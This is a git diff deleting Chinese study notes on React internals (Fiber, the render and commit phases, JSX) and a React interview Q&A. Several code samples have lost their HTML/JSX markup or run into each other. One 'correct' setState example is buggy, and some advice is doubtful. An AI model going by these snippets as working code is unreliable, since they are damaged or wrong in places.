"a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\212\266\346\200\201\346\233\264\346\226\260.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\212\266\346\200\201\346\233\264\346\226\260.md" deleted file mode 100644 index 3eb03023..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\212\266\346\200\201\346\233\264\346\226\260.md" +++ /dev/null @@ -1,48 +0,0 @@ -## React 状态更新 - -## 流程概览 - - - -## 类比分支管理的心智模型 - - - - - -在`React`中,通过`ReactDOM.createBlockingRoot`和`ReactDOM.createRoot`创建的应用会采用`并发`的方式`更新状态`。 - -`高优更新`(红色节点)中断正在进行中的`低优更新`(蓝色节点),先完成`render - commit流程`。 - -待`高优更新`完成后,`低优更新`基于`高优更新`的结果`重新更新`。 - - - -## Update 对象 - - - -### Update与Fiber的联系 - -`Fiber节点`组成`Fiber树`,页面中最多同时存在两棵`Fiber树`: - -- 代表当前页面状态的`current Fiber树` -- 代表正在`render阶段`的`workInProgress Fiber树` - -类似`Fiber节点`组成`Fiber树`,`Fiber节点`上的多个`Update`会组成链表并被包含在`fiber.updateQueue`中。 - -> 什么情况下一个Fiber节点会存在多个Update? -> -> 方法内部多次调用this.setState - -`Fiber节点`最多同时存在两个`updateQueue`: - -- `current fiber`保存的`updateQueue`即`current updateQueue` -- `workInProgress fiber`保存的`updateQueue`即`workInProgress updateQueue` - -在`commit阶段`完成页面渲染后,`workInProgress Fiber树`变为`current Fiber树`,`workInProgress Fiber树`内`Fiber节点`的`updateQueue`就变成`current updateQueue`。 - -### updateQueue - - - diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\220\206\345\277\265.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\220\206\345\277\265.md" deleted file mode 100644 index 7a89770d..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \347\220\206\345\277\265.md" +++ /dev/null @@ -1,53 +0,0 @@ ---- -date: 2022-08-24 -category: -- React -- 源码探究 ---- - -> 笔记内容来自于: -> -> [React官网](https://reactjs.org/docs/react-component.html#setstate) -> -> [React技术揭秘](https://react.iamkasong.com/) -> -> 添加了个人笔记注释和观点,希望能帮助大家理解。此外,如果想要完整阅读原文内容,请前往卡颂的网站 [React技术揭秘](https://react.iamkasong.com/)。 - -# React 理念 - -> 我们认为,React 是用 JavaScript 构建**快速响应**的大型 Web 应用程序的首选方式。它在 Facebook 和 Instagram 上表现优秀。 - -React 通过解决Web应用的CPU的瓶颈、IO的瓶颈达到快速响应。 - -### CPU瓶颈 - -当项目变得庞大、组件数量繁多时(构建树压力大),就容易遇到CPU的瓶颈。 - -主流浏览器刷新频率为60Hz,即每(1000ms / 60Hz)16.6ms浏览器刷新一次。我们知道,JS可以操作DOM,`GUI渲染线程`与`JS线程`是互斥的。所以**JS脚本执行**和**浏览器布局、绘制**不能同时执行。即在这短时间内要完成: - -```js -JS脚本执行 ----- 样式布局 ----- 样式绘制 -``` - -当JS执行时间过长,超出了16.6ms,这次刷新就没有时间执行**样式布局**和**样式绘制**,即常见的页面未响应,不更新等情况。 - -**React 解决** - -在浏览器每一帧的时间中,预留一些时间给JS线程,`React`利用这部分时间更新组件(在[源码](https://github.com/facebook/react/blob/1fb18e22ae66fdb1dc127347e169e73948778e5a/packages/scheduler/src/forks/SchedulerHostConfig.default.js#L119)中,预留的初始时间是5ms)。当预留的时间不够用时,`React`将线程控制权交还给浏览器使其有时间渲染UI,`React`则等待下一帧时间到来继续被中断的工作。 - -这种将长任务分拆到每一帧中,像蚂蚁搬家一样一次执行一小段任务的操作,被称为`时间切片`(time slice) - -此时我们的长任务被拆分到每一帧不同的`task`中,`JS脚本`执行时间大体在`5ms`左右,这样浏览器就有剩余时间执行**样式布局**和**样式绘制**,减少掉帧的可能性。 - -所以,解决`CPU瓶颈`的关键是实现`时间切片`,而`时间切片`的关键是:将**同步的更新**变为**可中断的异步更新**。 - -> `React`从v15升级到v16后重构了整个架构,这是16 + 架构的重要更新,此前的同步更新遇到长递归更新的情况会直接导致页面卡死,长时间占用CPU资源 - -### IO 瓶颈 - -对于前端应用主要需要解决的是网络延迟情况下减少用户对这种情况的感知。`React`给出的答案是[将人机交互研究的结果整合到真实的 UI 中](https://zh-hans.reactjs.org/docs/concurrent-mode-intro.html#putting-research-into-production),实际上是对用户行为有意的“延迟”对UI的更新和反馈,并在背后并行地执行数据请求,并且使这个时间足够的短,使用户无感知,直到这个时间超过某个阈值之后再显示`loading`效果。 - -为了支持这些特性,同样需要将同步的更新变为可中断的异步更新。 - - - diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/commit \351\230\266\346\256\265\346\265\201\347\250\213.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/commit \351\230\266\346\256\265\346\265\201\347\250\213.md" deleted file mode 100644 index 28b26659..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/commit \351\230\266\346\256\265\346\265\201\347\250\213.md" +++ /dev/null @@ -1,35 +0,0 @@ -# commit 阶段流程 - -## 概览 - -- 副作用 -- commit阶段工作 - -这些`副作用`对应的`DOM操作`在`commit`阶段执行。 - - - -除此之外,一些生命周期钩子(比如`componentDidXXX`)、`hook`(比如`useEffect`)需要在`commit`阶段执行。 - -`commit`阶段的主要工作(即`Renderer`的工作流程)分为三部分: - -- before mutation阶段(执行`DOM`操作前) -- mutation阶段(执行`DOM`操作) -- layout阶段(执行`DOM`操作后) - - - -在`before mutation阶段`之前和`layout阶段`之后还有一些额外工作,涉及到比如`useEffect`的触发、`优先级相关`的重置、`ref`的绑定/解绑。 - - - -## before mutation阶段 - - - -## mutation阶段 - - - -## layout阶段 - diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/render \351\230\266\346\256\265\346\265\201\347\250\213.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/render \351\230\266\346\256\265\346\265\201\347\250\213.md" deleted file mode 100644 index 38ebed01..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/render \351\230\266\346\256\265\346\265\201\347\250\213.md" +++ /dev/null @@ -1,117 +0,0 @@ -# render 阶段流程 - -## 总览 - -- 同异步更新调用不同的方法,`performSyncWorkOnRoot`或`performConcurrentWorkOnRoot`,他们唯一的区别是是否调用`shouldYield` -- `shouldYield`终止循环、取决于浏览器帧[剩余时间]() -- Fiber Reconciler是从Stack Reconciler重构而来,通过遍历的方式实现可中断的递归,所以performUnitOfWork的工作可以分为递(beginWork)、归(completeWork) - -## 递归遍历树 - -### “递”阶段 - -首先从`rootFiber`开始向下深度优先遍历。为遍历到的每个`Fiber节点`调用[beginWork方法](https://github.com/facebook/react/blob/970fa122d8188bafa600e9b5214833487fbf1092/packages/react-reconciler/src/ReactFiberBeginWork.new.js#L3058)。 - -该方法会根据传入的`Fiber节点`创建`子Fiber节点`,并将这两个`Fiber节点`连接起来。 - -当遍历到叶子节点(即没有子组件的组件)时就会进入“归”阶段。 - -### “归”阶段 - -在“归”阶段会调用[completeWork](https://github.com/facebook/react/blob/970fa122d8188bafa600e9b5214833487fbf1092/packages/react-reconciler/src/ReactFiberCompleteWork.new.js#L652)处理`Fiber节点`。 - -当某个`Fiber节点`执行完`completeWork`,如果其存在`兄弟Fiber节点`(即`fiber.sibling !== null`),会进入其`兄弟Fiber`的“递”阶段。 - -> 注意多子树结构、存储的是第一个子节点和第一个(右)兄弟节点 -> -> ```js -> // 指向父级Fiber节点 -> this.return = null; -> // 指向子Fiber节点 -> this.child = null; -> // 指向右边第一个兄弟Fiber节点 -> this.sibling = null; -> ``` - -如果不存在`兄弟Fiber`,会进入`父级Fiber`的“归”阶段。 - -“递”和“归”阶段会交错执行直到“归”到`rootFiber`。至此,`render阶段`的工作就结束了。 - -### 例子 - -```jsx -function App() { - return ( -
    - i am - KaSong -
    - ) -} - -ReactDOM.render(, document.getElementById("root")); -``` - -render 依次执行 - -```js -1. rootFiber beginWork -2. App Fiber beginWork -3. div Fiber beginWork -4. "i am" Fiber beginWork -5. "i am" Fiber completeWork -6. span Fiber beginWork -7. span Fiber completeWork -8. div Fiber completeWork -9. App Fiber completeWork -10. rootFiber completeWork -``` - -> 之所以没有 “KaSong” Fiber 的 beginWork/completeWork,是因为作为一种性能优化手段,针对只有单一文本子节点的`Fiber`,`React`会特殊处理。 - -## beginWork() - -`beginWork`的工作是传入`当前Fiber节点`,创建`子Fiber节点`,我们从传参来看看具体是如何做的。 - -```js -function beginWork( - current: Fiber | null, - workInProgress: Fiber, - renderLanes: Lanes, -): Fiber | null { - // ...省略函数体 -} -``` - -其中传参: - -- current:当前组件对应的`Fiber节点`在上一次更新时的`Fiber节点`,即`workInProgress.alternate` -- workInProgress:当前组件对应的`Fiber节点` -- renderLanes:优先级相关,在讲解`Scheduler`时再讲解 - -除[`rootFiber`](https://react.iamkasong.com/process/doubleBuffer.html#mount时)以外, 组件`mount`时,由于是首次渲染,是不存在当前组件对应的`Fiber节点`在上一次更新时的`Fiber节点`,即`mount`时`current === null`。 - -组件`update`时,由于之前已经`mount`过,所以`current !== null`。 - -所以我们可以通过`current === null ?`来区分组件是处于`mount`还是`update`。 - -### 根据current 区分执行阶段 - -- `update`时:如果`current`存在,在满足一定条件时可以复用`current`节点,这样就能克隆`current.child`作为`workInProgress.child`,而不需要新建`workInProgress.child`。 -- `mount`时:除`fiberRootNode`以外,`current === null`。会根据`fiber.tag`不同,创建不同类型的`子Fiber节点` - -## completeWork() - -类似`beginWork`,`completeWork`也是针对不同`fiber.tag`调用不同的处理逻辑。 - - - - - -## 流程结尾 - -至此,`render阶段`全部工作完成。在`performSyncWorkOnRoot`函数中`fiberRootNode`被传递给`commitRoot`方法,开启`commit阶段`工作流程。 - -```js -commitRoot(root); -``` diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/structure.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/structure.md" deleted file mode 100644 index e69de29b..00000000 diff --git "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/\346\267\261\345\205\245\347\220\206\350\247\243JSX.md" "b/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/\346\267\261\345\205\245\347\220\206\350\247\243JSX.md" deleted file mode 100644 index 0a21db1e..00000000 --- "a/src/React/\346\272\220\347\240\201\345\255\246\344\271\240/\346\267\261\345\205\245\347\220\206\350\247\243JSX.md" +++ /dev/null @@ -1,115 +0,0 @@ -# 深入理解JSX - -`JSX`在编译时会被`Babel`编译为`React.createElement`方法。这也是为什么在每个使用`JSX`的JS文件中,你必须显式的声明。但在React 17 中,已经不需要显式导入React了。 - -> React 17 发布在即,尽管我们想对 JSX 的转换进行改进,但我们不想打破现有的配置。于是我们选择[与 Babel 合作](https://babeljs.io/blog/2020/03/16/7.9.0#a-new-jsx-transform-11154httpsgithubcombabelbabelpull11154) ,为想要升级的开发者**提供了一个全新的,重构过的 JSX 转换的版本**。 -> -> - 使用全新的转换,你可以单独使用 JSX 而无需引入 React。 -> - 根据你的配置,JSX 的编译输出可能会略微改善 bundle 的大小。 -> - 它将减少你需要学习 React 概念的数量,以备未来之需。 ->来源[介绍全新的 JSX 转换](https://zh-hans.reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html) - -`JSX`并不是只能被编译为`React.createElement`方法,你可以通过[@babel/plugin-transform-react-jsx](https://babeljs.io/docs/en/babel-plugin-transform-react-jsx)插件显式告诉`Babel`编译时需要将`JSX`编译为什么函数的调用(默认为`React.createElement`)。 - -## React.createElement 做了什么 - -```js -export function createElement(type, config, children) { - let propName; - - const props = {}; - - let key = null; - let ref = null; - let self = null; - let source = null; - - if (config != null) { - // 将 config 处理后赋值给 props - // ...省略 - } - - const childrenLength = arguments.length - 2; - // 处理 children,会被赋值给props.children - // ...省略 - - // 处理 defaultProps - // ...省略 - - return ReactElement( - type, - key, - ref, - self, - source, - ReactCurrentOwner.current, - props, - ); -} - -const ReactElement = function(type, key, ref, self, source, owner, props) { - const element = { - // 标记这是个 React Element - $$typeof: REACT_ELEMENT_TYPE, - - type: type, - key: key, - ref: ref, - props: props, - _owner: owner, - }; - - return element; -}; -``` - -我们可以看到,`React.createElement`最终会调用`ReactElement`方法返回一个包含组件数据的对象,该对象有个参数`$$typeof: REACT_ELEMENT_TYPE`标记了该对象是个`React Element`。 - -`React`提供了验证合法`React Element`的全局API [React.isValidElement (opens new window)](https://github.com/facebook/react/blob/1fb18e22ae66fdb1dc127347e169e73948778e5a/packages/react/src/ReactElement.js#L547): - -```js -export function isValidElement(object) { - return ( - typeof object === 'object' && - object !== null && - object.$$typeof === REACT_ELEMENT_TYPE - ); -} -``` - -可以看到,`$$typeof === REACT_ELEMENT_TYPE`的非`null`对象就是一个合法的`React Element`。换言之,在`React`中,所有`JSX`在运行时的返回结果(即`React.createElement()`的返回值)都是`React Element`。 - -## React Component 分类 - -`ClassComponent`对应的`Element`的`type`字段为`AppClass`自身。 - -`FunctionComponent`对应的`Element`的`type`字段为`AppFunc`自身。 - -同时,AppClass 和 AppFunc 都是函数类型 - -```js -AppClass instanceof Function === true; -AppFunc instanceof Function === true; -``` - -所以无法通过引用类型区分`ClassComponent`和`FunctionComponent`。`React`通过`ClassComponent`实例原型上的`isReactComponent`变量判断是否是`ClassComponent`。 - -```js -ClassComponent.prototype.isReactComponent = {}; -``` - -## 由JSX生成Fiber节点 - -从上面的内容我们可以发现,`JSX`是一种描述当前组件内容的数据结构,他不包含组件**schedule**、**reconcile**、**render**所需的相关信息。 - -比如如下信息就不包括在`JSX`中: - -- 组件在更新中的`优先级` -- 组件的`state` -- 组件被打上的用于**Renderer**的`标记` - -**这些内容都包含在`Fiber节点`中。** - -所以,在组件`mount`时,`Reconciler`根据`JSX`描述的组件内容生成组件对应的`Fiber节点`。 - -在`update`时,`Reconciler` 将`JSX`与`Fiber节点`保存的数据对比,生成组件对应的`Fiber节点`,并根据对比结果为`Fiber节点`打上`标记`。 \ No newline at end of file diff --git "a/src/React/\351\235\242\350\257\225\351\242\230/React \351\235\242\350\257\225.md" "b/src/React/\351\235\242\350\257\225\351\242\230/React \351\235\242\350\257\225.md" deleted file mode 100644 index 23affe97..00000000 --- "a/src/React/\351\235\242\350\257\225\351\242\230/React \351\235\242\350\257\225.md" +++ /dev/null @@ -1,1148 +0,0 @@ ---- -date: 2022-05-12 -category: -- React ---- -# React 面试 - -> [React 面试知识点](https://juejin.cn/post/6844903857135304718) - -### 什么是声明式编程 - -声明式编程是一种编程范式,它关注的是你**要做什么**,而不是**如何做**。它表达逻辑而不显式地定义步骤。这意味着我们需要根据逻辑的计算来声明要显示的组件。它没有描述控制流步骤。声明式编程的例子有HTML、SQL等 - -**HTML file** - -```html -// HTML -
    -

    Declarative Programming

    -
    -``` - -**SQL file** - -``` -select * from studens where firstName = 'declarative'; -``` - -### 声明式编程 vs 命令式编程 - -声明式编程的编写方式描述了应该做什么,而命令式编程描述了如何做。在声明式编程中,让编译器决定如何做事情。声明性程序很容易推理,因为代码本身描述了它在做什么。 - -下面是一个例子,数组中的每个元素都乘以 `2`,我们使用声明式`map`函数,让编译器来完成其余的工作,而使用命令式,需要编写所有的流程步骤。 - -```js -const numbers = [1,2,3,4,5]; - -// 声明式 -const doubleWithDec = numbers.map(number => number * 2); - -console.log(doubleWithDec) - -// 命令式 -const doubleWithImp = []; -for(let i=0; i city[0] === "i"); -console.log(citiesI) -// [ 'irving' ] - -// if we want to capitalize all the cities -const citiesC = cities.map(city => city.toUpperCase()); -console.log(citiesC) -// [ 'IRVING', 'LOWELL', 'HOUSTON' ] -``` - -#### 高阶函数 - -高阶函数是将函数作为参数或返回函数的函数,或者有时它们都有。 这些高阶函数可以操纵其他函数。 - -`Array.map,Array.filter和Array.reduce`是高阶函数,因为它们将函数作为参数。 - -```js -const numbers = [10,20,40,50,60,70,80] - -const out1 = numbers.map(num => num * 100); -console.log(out1); -// [ 1000, 2000, 4000, 5000, 6000, 7000, 8000 ] - -const out2 = numbers.filter(num => num > 50); -console.log(out2); -// [ 60, 70, 80 ] - -const out3 = numbers.reduce((out,num) => out + num); -console.log(out3); -// 330 -``` - -下面是另一个名为`isPersonOld`的高阶函数示例,该函数接受另外两个函数,分别是 `message`和`isYoung` 。 - -```js -const isYoung = age => age < 25; - -const message = msg => "He is "+ msg; - -function isPersonOld(age, isYoung, message) { - const returnMessage = isYoung(age)?message("young"):message("old"); - return returnMessage; -} - -// passing functions as an arguments -console.log(isPersonOld(13,isYoung,message)) -// He is young -``` - -#### 递归 - -递归是一种函数在满足一定条件之前调用自身的技术。只要可能,最好使用递归而不是循环。你必须注意这一点,浏览器不能处理太多递归和抛出错误。 - -下面是一个演示递归的例子,在这个递归中,打印一个类似于楼梯的名称。我们也可以使用`for`循环,但只要可能,我们更喜欢递归。 - -```js -function printMyName(name, count) { - if(count <= name.length) { - console.log(name.substring(0,count)); - printMyName(name, ++count); - } -} - -console.log(printMyName("Bhargav", 1)); - -/* -B -Bh -Bha -Bhar -Bharg -Bharga -Bhargav -*/ - -// withotu recursion -var name = "Bhargav" -var output = ""; -for(let i=0; i name.length > 5) - .map(val => { - val = val.toUpperCase(); - console.log("Name:::::"+val); - console.log("Count::::"+val.length); - return val; -}); - -console.log(output) -/* -Name:::::BHARGAV -Count::::7 -Name:::::BACHINA -Count::::7 -[ 'BHARGAV', 'BACHINA' ] -*/ -``` - -在React中,我们使用了不同于链接的方法,因为如果有30个这样的函数,就很难进行链接。这里的目的是将所有更简单的函数组合起来生成一个更高阶的函数。 - -```js -const name = compose( - splitmyName, - countEachName, - comvertUpperCase, - returnName -) - -console.log(name); -``` - -### 什么是 React - -React是一个简单的javascript UI库,用于构建高效、快速的用户界面。它是一个轻量级库,因此很受欢迎。它遵循组件设计模式、声明式编程范式和函数式编程概念,以使前端应用程序更高效。它使用虚拟DOM来有效地操作DOM。它遵循从高阶组件到低阶组件的单向数据流。 - -### React 与 Angular 有何不同? - -Angular是一个成熟的MVC框架,带有很多特定的特性,比如服务、指令、模板、模块、解析器等等。React是一个非常轻量级的库,它只关注MVC的视图部分。 - -Angular遵循两个方向的数据流,而React遵循从上到下的单向数据流。React在开发特性时给了开发人员很大的自由,例如,调用API的方式、路由等等。我们不需要包括路由器库,除非我们需要它在我们的项目。 - -### 什么是Virtual DOM及其工作原理 - -React 使用 Virtual DOM 来更新真正的 DOM,从而提高效率和速度。 我们来详细讨论这些。 - -浏览器遵循HTML指令来构造文档对象模型(DOM)。当浏览器加载HTML并呈现用户界面时,HTML文档中的所有元素都变成DOM元素。 - -DOM是从根元素开始的元素层次结构。 - -当涉及到SPA应用程序时,首次加载**index.html**,并在**index.html**本身中加载更新后的数据或另一个html。当用户浏览站点时,我们使用新内容更新相同的index.html。每当DOM发生更改时,浏览器都需要重新计算CSS、进行布局并重新绘制web页面。 - -React 使用 Virtual DOM 有效地重建 DOM。 对于我们来说,这使得DOM操作的一项非常复杂和耗时的任务变得更加容易。 React从开发人员那里抽象出所有这些,以便在Virtual DOM的帮助下构建高效的UI。 - -#### 虚拟DOM是如何工作的 - -虚拟DOM只不过是真实 DOM 的 javascript对象表示。 与更新真实 DOM 相比,更新 javascript 对象更容易,更快捷。 考虑到这一点,让我们看看它是如何工作的。 - -React将整个DOM副本保存为虚拟DOM - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092002437.png) - -每当有更新时,它都会维护两个虚拟DOM,以比较之前的状态和当前状态,并确定哪些对象已被更改。 例如,段落文本更改为更改。 - -![clipboard.png](https://segmentfault.com/img/bVbtfXY) - -现在,它通过比较两个虚拟DOM 差异,并将这些变化更新到实际DOM - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092006368.png) - -一旦真正的DOM更新,它也会更新UI - -![clipboard.png](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205092006167.png) - -JSX是javascript的语法扩展。它就像一个拥有javascript全部功能的模板语言。它生成React元素,这些元素将在DOM中呈现。React建议在组件使用JSX。在JSX中,我们结合了javascript和HTML,并生成了可以在DOM中呈现的react元素。 - -下面是JSX的一个例子。我们可以看到如何将javascript和HTML结合起来。如果HTML中包含任何动态变量,我们应该使用表达式`{}`。 - -```jsx -import React from 'react'; - -export const Header = () => { - - const heading = 'TODO App' - - return( -
    -

    {heading}

    -
    - ) -} -``` - -### 组件和不同类型 - -React 中一切都是组件。 我们通常将应用程序的整个逻辑分解为小的单个部分。 我们将每个单独的部分称为组件。 通常,组件是一个javascript函数,它接受输入,处理它并返回在UI中呈现的React元素。 - -在React中有不同类型的组件。让我们详细看看。 - -#### 函数/无状态/展示组件 - -函数或无状态组件是一个纯函数,它可接受接受参数,并返回react元素。这些都是没有任何副作用的纯函数。这些组件没有状态或生命周期方法,这里有一个例子。 - -```jsx -import React from 'react'; -import Jumbotron from 'react-bootstrap/Jumbotron'; - -export const Header = () => { - return( - -

    TODO App

    -
    - ) -} -``` - -#### 类/有状态组件 - -类或有状态组件具有状态和生命周期方可能通过`setState()`方法更改组件的状态。类组件是通过扩展React创建的。它在构造函数中初始化,也可能有子组件,这里有一个例子。 - -```jsx -import React from 'react'; -import '../App.css'; -import { ToDoForm } from './todoform'; -import { ToDolist } from './todolist'; - -export class Dashboard extends React.Component { - - constructor(props){ - super(props); - - this.state = { - - } - } - - render() { - return ( -
    - - -
    - ); - } -} -``` - -#### 受控组件 - -**受控组件是在 React 中处理输入表单的一种技术。**表单元素通常维护它们自己的状态,而react则在组件的状态属性中维护状态。我们可以将两者结合起来控制输入表单。这称为受控组件。因此,在受控组件表单中,数据由React组件处理。 - -这里有一个例子。当用户在 todo 项中输入名称时,调用一个javascript函数`handleChange`捕捉每个输入的数据并将其放入状态,这样就在 `handleSubmit`中的使用数据。 - -```jsx -import React from 'react'; -import Form from 'react-bootstrap/Form'; -import Button from 'react-bootstrap/Button'; -import Row from 'react-bootstrap/Row'; -import Col from 'react-bootstrap/Col'; - -export class ToDoForm extends React.Component { - constructor(props) { - super(props); - this.state = {value: ''}; - - this.handleChange = this.handleChange.bind(this); - this.handleSubmit = this.handleSubmit.bind(this); - } - - handleChange(event) { - this.setState({value: event.target.value}); - } - - handleSubmit(event) { - alert('A name was submitted: ' + this.state.value); - event.preventDefault(); - } - - render() { - return ( -
    -
    - - - Item - -
    - - - - - - - - - ); - } - } -``` - -#### 非受控组件 - -**大多数情况下,建议使用受控组件。有一种称为非受控组件的方法可以通过使用`Ref`来处理表单数据。在非受控组件中,`Ref`用于直接从`DOM`访问表单值,而不是事件处理程序。** - -我们使用`Ref`构建了相同的表单,而不是使用React状态。 我们使用`React.createRef()` 定义`Ref`并传递该输入表单并直接从`handleSubmit`方法中的`DOM`访问表单值。 - -```jsx -import React from 'react'; -import Form from 'react-bootstrap/Form'; -import Button from 'react-bootstrap/Button'; -import Row from 'react-bootstrap/Row'; -import Col from 'react-bootstrap/Col'; - -export class ToDoForm extends React.Component { - constructor(props) { - super(props); - this.state = {value: ''}; - this.input = React.createRef(); - - this.handleSubmit = this.handleSubmit.bind(this); - } - - handleSubmit(event) { - alert('A name was submitted: ' + this.input.current.value); - event.preventDefault(); - } - - render() { - return ( -
    -
    - - - Item - -
    - - - - - - - - - ); - } - } -``` - -#### 容器组件 - -容器组件是处理获取数据、订阅 redux 存储等的组件。它们包含展示组件和其他容器组件,但是里面从来没有html。 - -#### 高阶组件 - -高阶组件是将组件作为参数并生成另一个组件的组件。 Redux `connect`是高阶组件的示例。 这是一种用于生成可重用组件的强大技术。 - -### Props 和 State - -**Props** 是只读属性,传递给组件以呈现UI和状态,我们可以随时间更改组件的输出。 - -下面是一个类组件的示例,它在构造函数中定义了`props`和`state`,每当使用`this.setState()` 修改状态时,将再次调用 `render( )` 函数来更改UI中组件的输出。 - -```jsx -import React from 'react'; -import '../App.css'; - -export class Dashboard extends React.Component { - - constructor(props){ - super(props); - - this.state = { - name: "some name" - } - } - - render() { - - // reading state - const name = this.state.name; - - //reading props - const address = this.props.address; - - return ( -
    - {name} - {address} -
    - ); - } -} -``` - -### 什么是PropTypes - -随着时间的推移,应用程序会变得越来越大,因此类型检查非常重要。`PropTypes`为组件提供类型检查,并为其他开发人员提供很好的文档。如果react项目不使用 Typescript,建议为组件添加 `PropTypes`。 - -如果组件没有收到任何 props,我们还可以为每个组件定义要显示的默认 props。这里有一个例子。`UserDisplay`有三个 prop:`name`、`address`和`age`,我们正在为它们定义默认的props 和 prop类型。 - -```jsx -import React from 'react'; -import PropTypes from 'prop-types'; - -export const UserDisplay = ({name, address, age}) => { - - UserDisplay.defaultProps = { - name: 'myname', - age: 100, - address: "0000 onestreet" - }; - - return ( - <> -
    -
    Name:
    -
    {name}
    -
    -
    -
    Address:
    -
    {address}
    -
    -
    -
    Age:
    -
    {age}
    -
    - - ) -} - -UserDisplay.propTypes = { - name: PropTypes.string.isRequired, - address: PropTypes.objectOf(PropTypes.string), - age: PropTypes.number.isRequired -} -``` - -### 如何更新状态以及如何不更新 - -你不应该直接修改状态。可以在构造函数中定义状态值。直接使用状态不会触发重新渲染。React 使用`this.setState()`时合并状态。 - -``` -// 错误方式 -this.state.name = "some name" -// 正确方式 -this.setState({name:"some name"}) -``` - -使用`this.setState()`的第二种形式总是更安全的,**因为更新的props和状态是异步的**。这里,我们根据这些 props 更新状态。 - -```jsx -// 错误方式 -this.setState({ - timesVisited: this.state.timesVisited + this.props.count -}) -// 正确方式 -this.setState((state, props) => { - timesVisited: state.timesVisited + props.count -}); -``` - -### 组件生命周期方法 - -组件在进入和离开DOM时要经历一系列生命周期方法,下面是这些生命周期方法。 - -#### componentWillMount() 组件将要加载 - -在渲染前调用,在客户端也在服务端,它只发生一次。 - -#### componentDidMount() 组件完成加载 - -在第一次渲染后调用,只在客户端。之后组件已经生成了对应的DOM结构,可以通过`this.getDOMNode()`来进行访问。 如果你想和其他JavaScript框架一起使用,可以在这个方法中调用`setTimeout`, `setInterval`或者发送AJAX请求等操作(防止异部操作阻塞UI)。 - -#### componentWillReceiveProps() 将要接收prop - -在组件接收到一个新的 prop (更新后)时被调用。这个方法在初始化render时不会被调用。 - -#### shouldComponentUpdate() 组件应该被更新? - -返回一个布尔值。在组件接收到新的`props`或者`state`时被调用。在初始化时或者使用`forceUpdate`时不被调用。 可以在你确认不需要更新组件时使用。 - -#### componentWillUpdate() 组件将更新 - -在组件接收到新的`props`或者`state`但还没有`render`时被调用。在初始化时不会被调用。 - -#### componentDidUpdate() 组件已更新 - -在组件完成更新后立即调用。在初始化时不会被调用。 - -#### componentWillUnMount() 组件将销毁(不挂载) - -组件从 DOM 中移除的时候立刻被调用。 - -#### getDerivedStateFromError() 从错误中获取派生状态 - -这个生命周期方法在**ErrorBoundary**类中使用。实际上,如果使用这个生命周期方法,任何类都会变成`ErrorBoundary`。这用于在组件树中出现错误时呈现回退UI,而不是在屏幕上显示一些奇怪的错误。 - -#### componentDidCatch() 捕获错误 - -这个生命周期方法在ErrorBoundary类中使用。实际上,如果使用这个生命周期方法,任何类都会变成ErrorBoundary。这用于在组件树中出现错误时记录错误。 - -### 超越继承的组合 - -在React中,**我们总是使用组合而不是继承。**我们已经在函数式编程部分讨论了什么是组合。这是一种结合简单的可重用函数来生成高阶组件的技术。下面是一个组合的例子,我们在 dashboard 组件中使用两个小组件`todoForm`和`todoList`。 - -```jsx -import React from 'react'; -import '../App.css'; -import { ToDoForm } from './todoform'; -import { ToDolist } from './todolist'; - -export class Dashboard extends React.Component { - - render() { - return ( -
    - - -
    - ); - } -} -``` - -### 如何在React中应用样式 - -将样式应用于React组件有三种方法。 - -#### 外部样式表 - -在此方法中,你可以将外部样式表导入到组件使用类中。 但是你应该使用`className`而不是`class`来为React元素应用样式, 这里有一个例子。 - -```jsx -import React from 'react'; -import './App.css'; -import { Header } from './header/header'; -import { Footer } from './footer/footer'; -import { Dashboard } from './dashboard/dashboard'; -import { UserDisplay } from './userdisplay'; - -function App() { - return ( -
    -
    - - -
    -
    - ); -} - -export default App; -``` - -#### 内联样式 - -在这个方法中,我们可以直接将 `props` 传递给HTML元素,属性为`style`。这里有一个例子。这里需要注意的重要一点是,我们将javascript对象传递给style,这就是为什么我们使用 `backgroundColor` 而不是CSS方法`backbackground -color`。 - -```jsx -import React from 'react'; - -export const Header = () => { - - const heading = 'TODO App' - - return( -
    -

    {heading}

    -
    - ) -} -``` - -#### 定义样式对象并使用它 - -因为我们将javascript对象传递给`style`属性,所以我们可以在组件中定义一个`style`对象并使用它。下面是一个示例,你也可以将此对象作为 `props` 传递到组件树中。 - -```jsx -import React from 'react'; - -const footerStyle = { - width: '100%', - backgroundColor: 'green', - padding: '50px', - font: '30px', - color: 'white', - fontWeight: 'bold' -} - -export const Footer = () => { - return( -
    - All Rights Reserved 2019 -
